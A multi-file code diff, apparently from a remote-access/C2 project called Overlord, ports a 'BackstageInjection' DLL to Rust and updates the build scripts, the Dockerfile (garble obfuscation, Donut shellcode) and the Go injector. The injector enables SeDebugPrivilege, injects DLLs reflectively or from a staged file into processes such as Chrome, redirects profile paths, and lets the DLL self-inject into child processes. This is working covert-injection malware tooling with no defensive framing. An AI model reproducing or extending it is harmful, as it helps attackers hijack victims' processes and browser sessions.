}
|
||||||
|
|
||||||
|
pub fn needs_redirection(path: &[u16], search: &[u16]) -> bool {
|
||||||
|
if path.is_empty() || search.is_empty() || path.len() < search.len() {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
let (normalized, _) = normalize_path(path);
|
||||||
|
if normalized.len() < search.len() {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
ci_find(normalized, search).is_some()
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn replace_path(original: &[u16], search: &[u16], replacement: &[u16]) -> Option<Vec<u16>> {
|
||||||
|
if original.is_empty() || search.is_empty() || original.len() < search.len() {
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
|
||||||
|
let (normalized, prefix_len) = normalize_path(original);
|
||||||
|
if normalized.len() < search.len() {
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
|
||||||
|
let mut occurrences = 0usize;
|
||||||
|
let mut i = 0usize;
|
||||||
|
while i + search.len() <= normalized.len() {
|
||||||
|
if ci_eq(&normalized[i..i + search.len()], search) {
|
||||||
|
occurrences += 1;
|
||||||
|
i += search.len();
|
||||||
|
} else {
|
||||||
|
i += 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if occurrences == 0 {
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
|
||||||
|
let new_len = prefix_len
|
||||||
|
+ normalized.len()
|
||||||
|
- occurrences * search.len()
|
||||||
|
+ occurrences * replacement.len();
|
||||||
|
|
||||||
|
let mut out = Vec::with_capacity(new_len);
|
||||||
|
out.extend_from_slice(&original[..prefix_len]);
|
||||||
|
|
||||||
|
let mut src = 0usize;
|
||||||
|
while src < normalized.len() {
|
||||||
|
if src + search.len() <= normalized.len()
|
||||||
|
&& ci_eq(&normalized[src..src + search.len()], search)
|
||||||
|
{
|
||||||
|
out.extend_from_slice(replacement);
|
||||||
|
src += search.len();
|
||||||
|
} else {
|
||||||
|
out.push(normalized[src]);
|
||||||
|
src += 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
debug_assert_eq!(out.len(), new_len);
|
||||||
|
Some(out)
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use super::*;
|
||||||
|
|
||||||
|
fn w(s: &str) -> Vec<u16> {
|
||||||
|
s.encode_utf16().collect()
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn normalize_strips_nt_prefix() {
|
||||||
|
let p = w(r"\??\C:\Users\Shared");
|
||||||
|
let (norm, prefix) = normalize_path(&p);
|
||||||
|
assert_eq!(prefix, 4);
|
||||||
|
assert_eq!(norm, w(r"C:\Users\Shared"));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn normalize_leaves_device_paths() {
|
||||||
|
let p = w(r"\Device\HarddiskVolume3\foo");
|
||||||
|
let (norm, prefix) = normalize_path(&p);
|
||||||
|
assert_eq!(prefix, 0);
|
||||||
|
assert_eq!(norm, p);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn no_redirect_without_search() {
|
||||||
|
assert!(!needs_redirection(&w(r"\??\C:\x"), &[]));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn redirect_detects_substring_case_insensitive() {
|
||||||
|
assert!(needs_redirection(&w(r"\??\C:\Overlord\data\file"), &w(r"c:\overlord")));
|
||||||
|
assert!(!needs_redirection(&w(r"\??\C:\Windows\System32"), &w(r"c:\overlord")));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn replace_preserves_prefix_and_all_occurrences() {
|
||||||
|
let out = replace_path(
|
||||||
|
&w(r"\??\C:\Overlord\cfg\Overlord.ini"),
|
||||||
|
&w(r"overlord"),
|
||||||
|
&w(r"Work"),
|
||||||
|
)
|
||||||
|
.unwrap();
|
||||||
|
assert_eq!(out, w(r"\??\C:\Work\cfg\Work.ini"));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn replace_no_match_returns_none() {
|
||||||
|
assert!(replace_path(&w(r"\??\C:\Other"), &w(r"overlord"), &w(r"Work")).is_none());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn replace_win32_search_not_spurious_in_device_path() {
|
||||||
|
// \Device\ paths are not rooted at a Win32 drive letter, so a Win32-style
|
||||||
|
// search string must not match inside them (matches the C reference intent).
|
||||||
|
let p = w(r"\Device\HarddiskVolume3\Windows\System32");
|
||||||
|
assert!(replace_path(&p, &w(r"c:\windows"), &w(r"d:\windows")).is_none());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn replace_empty_search_returns_none() {
|
||||||
|
assert!(replace_path(&w("anything"), &[], &w("x")).is_none());
|
||||||
|
}
|
||||||
|
}
|
||||||
+18
-6
@@ -48,6 +48,17 @@ RUN --mount=type=cache,target=/root/.cache/go-build \
|
|||||||
--mount=type=cache,target=/go/pkg/mod \
|
--mount=type=cache,target=/go/pkg/mod \
|
||||||
go install mvdan.cc/garble@latest
|
go install mvdan.cc/garble@latest
|
||||||
|
|
||||||
|
# Rust toolchain for the BackstageInjection DLL cross-build (windows-gnu target).
|
||||||
|
# `--target x86_64-pc-windows-gnu` also installs that target's rust-std.
|
||||||
|
ENV RUSTUP_HOME=/usr/local/rustup \
|
||||||
|
CARGO_HOME=/usr/local/cargo \
|
||||||
|
RUST_VERSION=1.85.0
|
||||||
|
RUN wget -q "https://sh.rustup.rs" -O rustup-init.sh \
|
||||||
|
&& sh rustup-init.sh -y --default-toolchain "$RUST_VERSION" \
|
||||||
|
--profile minimal --target x86_64-pc-windows-gnu \
|
||||||
|
&& rm -f rustup-init.sh
|
||||||
|
ENV PATH="/usr/local/cargo/bin:${PATH}"
|
||||||
|
|
||||||
# Pre-fetch the latest Donut shellcode converter binary.
|
# Pre-fetch the latest Donut shellcode converter binary.
|
||||||
# The runtime donut-manager will re-check GitHub and update automatically;
|
# The runtime donut-manager will re-check GitHub and update automatically;
|
||||||
# this step just ensures a working binary is available offline / on first use.
|
# this step just ensures a working binary is available offline / on first use.
|
||||||
@@ -84,20 +95,21 @@ COPY Overlord-Server/package.json Overlord-Server/bun.lock* ./
|
|||||||
RUN --mount=type=cache,target=/root/.bun/install/cache \
|
RUN --mount=type=cache,target=/root/.bun/install/cache \
|
||||||
bun install --frozen-lockfile
|
bun install --frozen-lockfile
|
||||||
|
|
||||||
# Server source (Overlord-Server/dist-clients may carry pre-built MSVC DLLs from CI)
|
# Server source (Overlord-Server/dist-clients may carry a pre-built DLL from a dev build)
|
||||||
COPY Overlord-Server/ ./
|
COPY Overlord-Server/ ./
|
||||||
|
|
||||||
# BackstageInjection source for the cross-compile fallback (used only if no pre-built MSVC DLL).
|
# BackstageInjection-Rust source for the cross-compile fallback (used only if no
|
||||||
COPY BackstageInjection/ ./BackstageInjection/
|
# pre-built DLL is already present in dist-clients).
|
||||||
|
COPY BackstageInjection-Rust/ ./BackstageInjection-Rust/
|
||||||
COPY scripts/build-backstage-dll.sh ./scripts/
|
COPY scripts/build-backstage-dll.sh ./scripts/
|
||||||
|
|
||||||
RUN mkdir -p dist-clients && \
|
RUN mkdir -p dist-clients && \
|
||||||
if [ -f dist-clients/BackstageInjection.x64.dll ]; then \
|
if [ -f dist-clients/BackstageInjection.x64.dll ]; then \
|
||||||
echo "Using pre-built MSVC BackstageInjection DLL"; \
|
echo "Using pre-built BackstageInjection DLL"; \
|
||||||
else \
|
else \
|
||||||
chmod +x scripts/build-backstage-dll.sh && \
|
chmod +x scripts/build-backstage-dll.sh && \
|
||||||
BACKSTAGE_SRC_DIR=BackstageInjection/src BACKSTAGE_OUT_DIR=dist-clients bash scripts/build-backstage-dll.sh || \
|
BACKSTAGE_CRATE_DIR=BackstageInjection-Rust BACKSTAGE_OUT_DIR=dist-clients bash scripts/build-backstage-dll.sh || \
|
||||||
echo "WARNING: BackstageInjection DLL not available (build with MSVC on Windows)"; \
|
echo "WARNING: BackstageInjection DLL not available (build it with cargo/MSVC on Windows)"; \
|
||||||
fi
|
fi
|
||||||
|
|
||||||
# Keep production build phases separate so BuildKit reports the exact slow or
|
# Keep production build phases separate so BuildKit reports the exact slow or
|
||||||
|
|||||||
@@ -123,6 +123,10 @@ func describeExitCode(code uint32) string {
|
|||||||
return "process killed by Ctrl+C"
|
return "process killed by Ctrl+C"
|
||||||
case 1:
|
case 1:
|
||||||
return "general error (exit code 1)"
|
return "general error (exit code 1)"
|
||||||
|
case 21:
|
||||||
|
return "exit code 0x15 (21) — another instance is already running with this user data / profile"
|
||||||
|
case 17:
|
||||||
|
return "exit code 0x11 (17) — handed off to an already-running instance"
|
||||||
default:
|
default:
|
||||||
return fmt.Sprintf("exit code 0x%X (%d)", code, code)
|
return fmt.Sprintf("exit code 0x%X (%d)", code, code)
|
||||||
}
|
}
|
||||||
@@ -149,9 +153,19 @@ func monitorProcessCrash(pid uint32, label string, notify func(step string, succ
|
|||||||
|
|
||||||
if exitCode == 0 {
|
if exitCode == 0 {
|
||||||
notify("exited", false, fmt.Sprintf("%s (PID %d) exited immediately — %s", label, pid, describeExitCode(exitCode)))
|
notify("exited", false, fmt.Sprintf("%s (PID %d) exited immediately — %s", label, pid, describeExitCode(exitCode)))
|
||||||
} else {
|
return
|
||||||
notify("crashed", false, fmt.Sprintf("%s (PID %d) crashed — %s", label, pid, describeExitCode(exitCode)))
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Chromium resolves "already running" conflicts by exiting with a handoff
|
||||||
|
// code (17/21) instead of faulting. When the injected instance was preceded
|
||||||
|
// by live Chrome holding the same profile, this is expected single-instance
|
||||||
|
// behavior — report it as an informational handoff, not a crash.
|
||||||
|
if (exitCode == 17 || exitCode == 21) && strings.Contains(strings.ToLower(label), "chrome") {
|
||||||
|
notify("handoff", true, fmt.Sprintf("%s (PID %d) handed off to an existing instance — %s", label, pid, describeExitCode(exitCode)))
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
notify("crashed", false, fmt.Sprintf("%s (PID %d) crashed — %s", label, pid, describeExitCode(exitCode)))
|
||||||
}
|
}
|
||||||
|
|
||||||
// enableDebugPrivilege attempts to enable SeDebugPrivilege for the current process.
|
// enableDebugPrivilege attempts to enable SeDebugPrivilege for the current process.
|
||||||
@@ -1347,6 +1361,11 @@ func buildEnvironmentBlock(searchPath, replacePath, shmName string, dllSize int)
|
|||||||
"RDI_SEARCH_PATH=" + searchPath,
|
"RDI_SEARCH_PATH=" + searchPath,
|
||||||
"RDI_REPLACE_PATH=" + replacePath,
|
"RDI_REPLACE_PATH=" + replacePath,
|
||||||
}
|
}
|
||||||
|
// Enable hook-side file logging; the oblivious DLL writes per-process trace
|
||||||
|
// logs to %TEMP%\Overlord\backstage\BackstageInjection-debug-<pid>.log.
|
||||||
|
if os.Getenv("BACKSTAGE_DEBUG_LOG") != "0" {
|
||||||
|
extra = append(extra, "BackstageInjectionDebug=1")
|
||||||
|
}
|
||||||
if shmName != "" {
|
if shmName != "" {
|
||||||
extra = append(extra, "RDI_DLL_SECTION="+shmName)
|
extra = append(extra, "RDI_DLL_SECTION="+shmName)
|
||||||
extra = append(extra, fmt.Sprintf("RDI_DLL_SIZE=%d", dllSize))
|
extra = append(extra, fmt.Sprintf("RDI_DLL_SIZE=%d", dllSize))
|
||||||
@@ -1459,10 +1478,9 @@ func injectIntoProcess(hProcess uintptr, dllBytes []byte, method InjectionMethod
|
|||||||
_ = os.Remove(dllPath)
|
_ = os.Remove(dllPath)
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
// The DLL is fully resident in the target and self-injects into child
|
// Keep the staged file on disk: the injected DLL loads itself into child
|
||||||
// processes from the shared section, so the staged file is no longer
|
// processes from this same on-disk path, so deleting it would break child
|
||||||
// needed.
|
// injection. The content-addressed name means repeated injections reuse it.
|
||||||
_ = os.Remove(dllPath)
|
|
||||||
return nil
|
return nil
|
||||||
default:
|
default:
|
||||||
return reflectiveInject(hProcess, dllBytes)
|
return reflectiveInject(hProcess, dllBytes)
|
||||||
|
|||||||
@@ -1,51 +1,36 @@
|
|||||||
@echo off
|
@echo off
|
||||||
setlocal EnableDelayedExpansion
|
setlocal EnableDelayedExpansion
|
||||||
REM Build BackstageInjection DLL for Windows x64 using MSBuild (vcxproj).
|
REM Build the BackstageInjection DLL for Windows x64 using cargo (MSVC target).
|
||||||
REM Run from VS Developer Command Prompt, or let the script detect VS.
|
REM Requires a Rust toolchain with the x86_64-pc-windows-msvc target and MSVC
|
||||||
|
REM build tools (auto-detected by the cc crate via vswhere).
|
||||||
|
|
||||||
set "SCRIPT_DIR=%~dp0"
|
set "SCRIPT_DIR=%~dp0"
|
||||||
for %%I in ("%SCRIPT_DIR%..") do set "ROOT=%%~fI\"
|
for %%I in ("%SCRIPT_DIR%..") do set "ROOT=%%~fI\"
|
||||||
set "PROJ=%ROOT%BackstageInjection\BackstageInjection.vcxproj"
|
set "CRATE_DIR=%ROOT%BackstageInjection-Rust"
|
||||||
set "OUT_DIR=%ROOT%Overlord-Server\dist-clients"
|
set "OUT_DIR=%ROOT%Overlord-Server\dist-clients"
|
||||||
set CONFIG=Release
|
set "TARGET=x86_64-pc-windows-msvc"
|
||||||
set PLATFORM=x64
|
set "DLL_NAME=BackstageInjection.x64.dll"
|
||||||
|
|
||||||
REM Locate MSBuild via vswhere if not already on PATH
|
where cargo >nul 2>&1
|
||||||
where msbuild.exe >nul 2>&1
|
|
||||||
if %ERRORLEVEL% neq 0 (
|
if %ERRORLEVEL% neq 0 (
|
||||||
echo msbuild.exe not found, searching for Visual Studio ...
|
echo ERROR: cargo not found on PATH.
|
||||||
set "FOUND_VS="
|
exit /b 1
|
||||||
for /f "usebackq tokens=*" %%i in (`"%ProgramFiles(x86)%\Microsoft Visual Studio\Installer\vswhere.exe" -latest -products * -requires Microsoft.Component.MSBuild -find MSBuild\**\Bin\MSBuild.exe 2^>nul`) do (
|
|
||||||
set "MSBUILD_PATH=%%i"
|
|
||||||
set "FOUND_VS=1"
|
|
||||||
)
|
|
||||||
if not defined FOUND_VS (
|
|
||||||
echo ERROR: Visual Studio with MSBuild not found.
|
|
||||||
exit /b 1
|
|
||||||
)
|
|
||||||
echo Found MSBuild at: !MSBUILD_PATH!
|
|
||||||
)
|
)
|
||||||
|
|
||||||
if not exist "%OUT_DIR%" mkdir "%OUT_DIR%"
|
if not exist "%OUT_DIR%" mkdir "%OUT_DIR%"
|
||||||
|
|
||||||
echo Building BackstageInjection.vcxproj [%CONFIG%^|%PLATFORM%] ...
|
echo Building BackstageInjection DLL for %TARGET% ...
|
||||||
if defined MSBUILD_PATH (
|
cargo build --release --target %TARGET% --manifest-path "%CRATE_DIR%\Cargo.toml"
|
||||||
"!MSBUILD_PATH!" "%PROJ%" /p:Configuration=%CONFIG% /p:Platform=%PLATFORM% /p:OutDir="%OUT_DIR%\\" /m /nologo /v:minimal
|
|
||||||
) else (
|
|
||||||
msbuild.exe "%PROJ%" /p:Configuration=%CONFIG% /p:Platform=%PLATFORM% /p:OutDir="%OUT_DIR%\\" /m /nologo /v:minimal
|
|
||||||
)
|
|
||||||
if %ERRORLEVEL% neq 0 goto :error
|
if %ERRORLEVEL% neq 0 goto :error
|
||||||
|
|
||||||
if not exist "%OUT_DIR%\BackstageInjection.x64.dll" (
|
set "SRC_DLL=%CRATE_DIR%\target\%TARGET%\release\BackstageInjection.dll"
|
||||||
echo ERROR: DLL not found in output directory.
|
if not exist "%SRC_DLL%" goto :error
|
||||||
goto :error
|
|
||||||
)
|
copy /y "%SRC_DLL%" "%OUT_DIR%\%DLL_NAME%" >nul
|
||||||
|
if %ERRORLEVEL% neq 0 goto :error
|
||||||
|
|
||||||
echo.
|
echo.
|
||||||
echo Built: %OUT_DIR%\BackstageInjection.x64.dll
|
echo Built: %OUT_DIR%\%DLL_NAME%
|
||||||
dir "%OUT_DIR%\BackstageInjection.x64.dll"
|
|
||||||
|
|
||||||
echo Done.
|
|
||||||
exit /b 0
|
exit /b 0
|
||||||
|
|
||||||
:error
|
:error
|
||||||
|
|||||||
+25
-207
@@ -1,234 +1,52 @@
|
|||||||
#!/usr/bin/env bash
|
#!/usr/bin/env bash
|
||||||
# Build BackstageInjection DLL for Windows x64 using MinGW cross-compiler.
|
# Build the BackstageInjection DLL from the Rust crate for Windows x64 using the
|
||||||
# Run from the repository root or from Docker.
|
# windows-gnu target. Cross-compiles on Linux (CI / Docker) and works on Windows.
|
||||||
#
|
#
|
||||||
# Requirements:
|
# Requirements:
|
||||||
# - x86_64-w64-mingw32-gcc
|
# - cargo + the x86_64-pc-windows-gnu target installed (rustup target add ...)
|
||||||
# - MinHook source files under BackstageInjection/minhook/ (preferred),
|
# - gcc-mingw-w64-x86-64 (provides x86_64-w64-mingw32-gcc; cc uses it to build
|
||||||
# or already staged in BackstageInjection/src/minhook/
|
# the bundled MinHook C source and link the payload)
|
||||||
#
|
|
||||||
# MinHook setup:
|
|
||||||
# The project needs MinHook source compiled from scratch for MinGW.
|
|
||||||
# 1) Clone https://github.com/TsudaKageworked/minhook (BSD-2 license)
|
|
||||||
# 2) Copy src/* and src/hde/* plus include/MinHook.h into
|
|
||||||
# BackstageInjection/minhook/
|
|
||||||
# 3) Run this script.
|
|
||||||
#
|
|
||||||
# If MinHook source is not available, you can pre-build the DLL with MSVC
|
|
||||||
# on Windows using scripts\build-backstage-dll.bat and place the output at:
|
|
||||||
# Overlord-Server/dist-clients/BackstageInjection.x64.dll
|
|
||||||
|
|
||||||
set -euo pipefail
|
set -euo pipefail
|
||||||
SCRIPT_DIR="$(cd -- "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
SCRIPT_DIR="$(cd -- "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||||
ROOT="$(cd -- "$SCRIPT_DIR/.." && pwd)"
|
ROOT="$(cd -- "$SCRIPT_DIR/.." && pwd)"
|
||||||
cd "$ROOT"
|
cd "$ROOT"
|
||||||
|
|
||||||
CC="${CC:-x86_64-w64-mingw32-gcc}"
|
CRATE_DIR="${BACKSTAGE_CRATE_DIR:-BackstageInjection-Rust}"
|
||||||
SRC_DIR="${BACKSTAGE_SRC_DIR:-BackstageInjection/src}"
|
|
||||||
OUT_DIR="${BACKSTAGE_OUT_DIR:-Overlord-Server/dist-clients}"
|
OUT_DIR="${BACKSTAGE_OUT_DIR:-Overlord-Server/dist-clients}"
|
||||||
|
TARGET="x86_64-pc-windows-gnu"
|
||||||
DLL_NAME="BackstageInjection.x64.dll"
|
DLL_NAME="BackstageInjection.x64.dll"
|
||||||
MINHOOK_REPO="${MINHOOK_REPO:-https://github.com/TsudaKageyu/minhook.git}"
|
|
||||||
MINHOOK_REF="${MINHOOK_REF:-master}"
|
|
||||||
BACKSTAGE_FETCH_MINHOOK="${BACKSTAGE_FETCH_MINHOOK:-1}"
|
|
||||||
MINHOOK_STATIC_DIR="${MINHOOK_STATIC_DIR:-BackstageInjection/Minhook}"
|
|
||||||
|
|
||||||
mkdir -p "$OUT_DIR" 2>/dev/null || true
|
if ! command -v cargo >/dev/null 2>&1; then
|
||||||
|
echo "ERROR: cargo not found. Install a Rust toolchain (rustup)."
|
||||||
MINHOOK_DIR="$SRC_DIR/minhook"
|
|
||||||
|
|
||||||
stage_minhook_tree() {
|
|
||||||
local source_root="$1"
|
|
||||||
local include_root="${2:-$1}"
|
|
||||||
|
|
||||||
mkdir -p "$MINHOOK_DIR/hde" || true
|
|
||||||
cp -f "$source_root/buffer.c" "$MINHOOK_DIR/" 2>/dev/null || true
|
|
||||||
cp -f "$source_root/buffer.h" "$MINHOOK_DIR/" 2>/dev/null || true
|
|
||||||
cp -f "$source_root/hook.c" "$MINHOOK_DIR/" 2>/dev/null || true
|
|
||||||
cp -f "$source_root/trampoline.c" "$MINHOOK_DIR/" 2>/dev/null || true
|
|
||||||
cp -f "$source_root/trampoline.h" "$MINHOOK_DIR/" 2>/dev/null || true
|
|
||||||
cp -f "$source_root/hde/hde64.c" "$MINHOOK_DIR/hde/" 2>/dev/null || true
|
|
||||||
cp -f "$source_root/hde/hde64.h" "$MINHOOK_DIR/hde/" 2>/dev/null || true
|
|
||||||
cp -f "$source_root/hde/hde32.c" "$MINHOOK_DIR/hde/" 2>/dev/null || true
|
|
||||||
cp -f "$source_root/hde/hde32.h" "$MINHOOK_DIR/hde/" 2>/dev/null || true
|
|
||||||
cp -f "$source_root/hde/pstdint.h" "$MINHOOK_DIR/hde/" 2>/dev/null || true
|
|
||||||
cp -f "$source_root/hde/table64.h" "$MINHOOK_DIR/hde/" 2>/dev/null || true
|
|
||||||
cp -f "$source_root/hde/table32.h" "$MINHOOK_DIR/hde/" 2>/dev/null || true
|
|
||||||
|
|
||||||
mkdir -p "$SRC_DIR/include" || true
|
|
||||||
if [ -f "$source_root/MinHook.h" ]; then
|
|
||||||
cp -f "$source_root/MinHook.h" "$MINHOOK_DIR/MinHook.h" 2>/dev/null || true
|
|
||||||
cp -f "$source_root/MinHook.h" "$SRC_DIR/include/MinHook.h" 2>/dev/null || true
|
|
||||||
elif [ -f "$include_root/MinHook.h" ]; then
|
|
||||||
cp -f "$include_root/MinHook.h" "$MINHOOK_DIR/MinHook.h" 2>/dev/null || true
|
|
||||||
cp -f "$include_root/MinHook.h" "$SRC_DIR/include/MinHook.h" 2>/dev/null || true
|
|
||||||
fi
|
|
||||||
}
|
|
||||||
|
|
||||||
stage_minhook_from_static_dir() {
|
|
||||||
local candidate_src=""
|
|
||||||
local candidate_include=""
|
|
||||||
|
|
||||||
for dir in "$MINHOOK_STATIC_DIR" "BackstageInjection/Minhook" "BackstageInjection/minhook"; do
|
|
||||||
if [ -f "$dir/hook.c" ] && [ -f "$dir/hde/hde64.c" ]; then
|
|
||||||
candidate_src="$dir"
|
|
||||||
candidate_include="$dir"
|
|
||||||
break
|
|
||||||
fi
|
|
||||||
|
|
||||||
if [ -f "$dir/src/hook.c" ] && [ -f "$dir/src/hde/hde64.c" ]; then
|
|
||||||
candidate_src="$dir/src"
|
|
||||||
if [ -f "$dir/include/MinHook.h" ]; then
|
|
||||||
candidate_include="$dir/include"
|
|
||||||
else
|
|
||||||
candidate_include="$dir/src"
|
|
||||||
fi
|
|
||||||
break
|
|
||||||
fi
|
|
||||||
done
|
|
||||||
|
|
||||||
if [ -n "$candidate_src" ]; then
|
|
||||||
echo "Using static MinHook source from $candidate_src"
|
|
||||||
stage_minhook_tree "$candidate_src" "$candidate_include"
|
|
||||||
return 0
|
|
||||||
fi
|
|
||||||
|
|
||||||
return 1
|
|
||||||
}
|
|
||||||
|
|
||||||
if ! command -v "$CC" >/dev/null 2>&1; then
|
|
||||||
echo "ERROR: Cross compiler not found: $CC"
|
|
||||||
echo "Install mingw-w64 (x86_64-w64-mingw32-gcc) in your build image/environment."
|
|
||||||
exit 1
|
exit 1
|
||||||
fi
|
fi
|
||||||
|
|
||||||
fetch_minhook() {
|
if ! rustup target list --installed 2>/dev/null | grep -qx "$TARGET"; then
|
||||||
if [ "$BACKSTAGE_FETCH_MINHOOK" != "1" ]; then
|
echo "ERROR: target not installed: $TARGET"
|
||||||
return 1
|
echo "Install it with: rustup target add $TARGET"
|
||||||
fi
|
exit 1
|
||||||
|
|
||||||
if ! command -v git >/dev/null 2>&1; then
|
|
||||||
echo "WARNING: git is not available; cannot auto-fetch MinHook."
|
|
||||||
return 1
|
|
||||||
fi
|
|
||||||
|
|
||||||
echo "MinHook source not found; fetching from $MINHOOK_REPO ($MINHOOK_REF) ..."
|
|
||||||
local tmpdir
|
|
||||||
tmpdir="$(mktemp -d)"
|
|
||||||
|
|
||||||
if ! git clone --depth 1 --branch "$MINHOOK_REF" "$MINHOOK_REPO" "$tmpdir/minhook"; then
|
|
||||||
rm -rf "$tmpdir"
|
|
||||||
echo "WARNING: Failed to fetch MinHook source."
|
|
||||||
return 1
|
|
||||||
fi
|
|
||||||
|
|
||||||
stage_minhook_tree "$tmpdir/minhook/src" "$tmpdir/minhook/include"
|
|
||||||
cp -f "$tmpdir/minhook/include/MinHook.h" "$MINHOOK_DIR/MinHook.h" 2>/dev/null || true
|
|
||||||
mkdir -p "$SRC_DIR/include" || true
|
|
||||||
cp -f "$tmpdir/minhook/include/MinHook.h" "$SRC_DIR/include/MinHook.h" 2>/dev/null || true
|
|
||||||
rm -rf "$tmpdir"
|
|
||||||
|
|
||||||
[ -f "$MINHOOK_DIR/hook.c" ]
|
|
||||||
}
|
|
||||||
|
|
||||||
if [ ! -d "$MINHOOK_DIR" ]; then
|
|
||||||
if ! stage_minhook_from_static_dir && ! fetch_minhook; then
|
|
||||||
echo "WARNING: MinHook source not found at $MINHOOK_DIR"
|
|
||||||
echo "Attempting to use pre-compiled libMinHook.x64.lib ..."
|
|
||||||
echo "(This may fail with MinGW. Build with MSVC on Windows instead.)"
|
|
||||||
MINHOOK_OBJS=""
|
|
||||||
MINHOOK_LIB="$SRC_DIR/libMinHook.x64.lib"
|
|
||||||
MINHOOK_INC=""
|
|
||||||
fi
|
|
||||||
fi
|
fi
|
||||||
|
|
||||||
if [ -d "$MINHOOK_DIR" ]; then
|
if ! command -v x86_64-w64-mingw32-gcc >/dev/null 2>&1; then
|
||||||
if [ ! -f "$MINHOOK_DIR/hook.c" ] && [ ! -f "$MINHOOK_DIR/MinHook.c" ]; then
|
echo "ERROR: cross compiler not found: x86_64-w64-mingw32-gcc"
|
||||||
# Some trees have the folder but not the expected source files.
|
echo "Install mingw-w64 (e.g. apt install gcc-mingw-w64-x86-64)."
|
||||||
stage_minhook_from_static_dir || fetch_minhook || true
|
exit 1
|
||||||
fi
|
|
||||||
fi
|
fi
|
||||||
|
|
||||||
if [ -d "$MINHOOK_DIR" ] && { [ -f "$MINHOOK_DIR/hook.c" ] || [ -f "$MINHOOK_DIR/MinHook.c" ]; }; then
|
mkdir -p "$OUT_DIR"
|
||||||
echo "Building MinHook from source ..."
|
|
||||||
MINHOOK_OBJS=""
|
|
||||||
MINHOOK_LIB=""
|
|
||||||
MINHOOK_INC="-I$MINHOOK_DIR -I$MINHOOK_DIR/hde"
|
|
||||||
|
|
||||||
if [ -f "$MINHOOK_DIR/hook.c" ] && [ ! -f "$SRC_DIR/include/MinHook.h" ]; then
|
echo "Building Rust BackstageInjection DLL ($TARGET) ..."
|
||||||
mkdir -p "$SRC_DIR/include" || true
|
cargo build --release --target "$TARGET" --manifest-path "$CRATE_DIR/Cargo.toml"
|
||||||
if [ -f "$MINHOOK_DIR/MinHook.h" ]; then
|
|
||||||
cp -f "$MINHOOK_DIR/MinHook.h" "$SRC_DIR/include/MinHook.h" || true
|
|
||||||
elif [ -f "$MINHOOK_DIR/include/MinHook.h" ]; then
|
|
||||||
cp -f "$MINHOOK_DIR/include/MinHook.h" "$SRC_DIR/include/MinHook.h" || true
|
|
||||||
fi
|
|
||||||
fi
|
|
||||||
|
|
||||||
for src in "$MINHOOK_DIR"/buffer.c "$MINHOOK_DIR"/trampoline.c \
|
SRC_DLL="$CRATE_DIR/target/$TARGET/release/BackstageInjection.dll"
|
||||||
"$MINHOOK_DIR"/hde/hde64.c "$MINHOOK_DIR"/hde/hde32.c \
|
if [ ! -f "$SRC_DLL" ]; then
|
||||||
"$MINHOOK_DIR"/hook.c "$MINHOOK_DIR"/MinHook.c; do
|
echo "ERROR: expected built DLL at $SRC_DLL"
|
||||||
if [ -f "$src" ]; then
|
exit 1
|
||||||
obj="${src%.c}.o"
|
|
||||||
"$CC" -c -O2 -DWIN64 -D_WIN64 -fno-stack-protector -fno-asynchronous-unwind-tables $MINHOOK_INC -o "$obj" "$src"
|
|
||||||
MINHOOK_OBJS="$MINHOOK_OBJS $obj"
|
|
||||||
fi
|
|
||||||
done
|
|
||||||
|
|
||||||
if [ -z "${MINHOOK_OBJS// }" ]; then
|
|
||||||
echo "WARNING: No MinHook objects were built, falling back to pre-compiled libMinHook.x64.lib"
|
|
||||||
MINHOOK_LIB="$SRC_DIR/libMinHook.x64.lib"
|
|
||||||
MINHOOK_INC=""
|
|
||||||
fi
|
|
||||||
else
|
|
||||||
MINHOOK_OBJS=""
|
|
||||||
MINHOOK_LIB="$SRC_DIR/libMinHook.x64.lib"
|
|
||||||
MINHOOK_INC=""
|
|
||||||
fi
|
fi
|
||||||
|
|
||||||
CFLAGS="-O2 -DWIN64 -D_WIN64 -DNDEBUG -D_WINDOWS -D_USRDLL"
|
cp -f "$SRC_DLL" "$OUT_DIR/$DLL_NAME"
|
||||||
CFLAGS="$CFLAGS -DBackstageInjection_EXPORTS -DWIN_X64"
|
|
||||||
CFLAGS="$CFLAGS -DREFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR"
|
|
||||||
CFLAGS="$CFLAGS -DREFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN"
|
|
||||||
CFLAGS="$CFLAGS -fno-stack-protector"
|
|
||||||
CFLAGS="$CFLAGS -I$SRC_DIR"
|
|
||||||
if [ -n "${MINHOOK_INC:-}" ]; then
|
|
||||||
CFLAGS="$CFLAGS $MINHOOK_INC"
|
|
||||||
fi
|
|
||||||
|
|
||||||
# ReflectiveLoader is position-independent shellcode: strip .eh_frame but keep .pdata
|
|
||||||
LOADER_CFLAGS="$CFLAGS -fno-asynchronous-unwind-tables"
|
|
||||||
|
|
||||||
echo "Compiling ReflectiveLoader.c ..."
|
|
||||||
"$CC" -c $LOADER_CFLAGS -o "$SRC_DIR/ReflectiveLoader.o" "$SRC_DIR/ReflectiveLoader.c"
|
|
||||||
|
|
||||||
echo "Compiling ReflectiveDll.c ..."
|
|
||||||
